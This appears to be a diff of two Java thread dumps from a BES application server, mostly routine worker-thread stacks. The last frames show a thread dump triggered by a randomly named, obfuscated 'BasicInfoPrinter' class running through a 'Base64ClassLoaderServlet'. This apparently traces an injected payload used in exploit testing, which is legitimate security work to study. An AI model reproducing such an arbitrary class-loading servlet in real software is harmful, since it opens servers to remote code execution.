at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6827fecd
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||||
|
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||||
|
|
||||||
|
"Common Lib Watcher" #15 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
|
||||||
|
|
||||||
|
"RMI Reaper" #95 [WAITING] on java.lang.ref.ReferenceQueue$Lock@515b0c1e
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||||
|
|
||||||
"httpWorkerThread-1900-3" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"jmsra-WorkerThread-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
"AsyncTimeoutThread-8080" #80 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
"Spark_7" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_6" #92 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_1" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark-Acceptor" #85 [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||||
|
|
||||||
"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"Spark_4" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -343,7 +327,7 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"httpWorkerThread-8080-8" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -357,7 +341,24 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2e7f8751
|
"Spark_0" #86 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1a90bf04
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
|
||||||
|
|
||||||
|
"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@4d16eb0d
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.Object.wait(Object.java:502)
|
at java.lang.Object.wait(Object.java:502)
|
||||||
@@ -372,7 +373,26 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
|
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
|
||||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
|
at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
|
||||||
|
|
||||||
"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"RMI TCP Connection(1)-172.17.0.3" #96 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -386,76 +406,135 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #82 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
|
||||||
|
|
||||||
"Spark_3" #95 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"Spark-Acceptor" #91 [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
|
||||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
|
||||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
|
||||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
|
||||||
|
|
||||||
"Spark_4" #96 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"SelectorReaderThread-8080-1" #84 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"FlushManager" #59 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Thread.sleep(Native Method)
|
at java.lang.Thread.sleep(Native Method)
|
||||||
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-8" #80 daemon [RUNNABLE]
|
"jmsra-WorkerThread-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.3:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@44a4354d
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_5" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #62 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_2" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"AcceptorThread-8080-1" #79 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #73 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.lang.Thread.dumpThreads(Native Method)
|
at java.lang.Thread.dumpThreads(Native Method)
|
||||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||||
at com.google.gso.IyIWG.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
at com.google.gso.kctIl.ErrorGmnwfHandler.toString(BasicInfoPrinter.java:26)
|
||||||
at java.lang.String.valueOf(String.java:2994)
|
at java.lang.String.valueOf(String.java:2994)
|
||||||
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
|
||||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
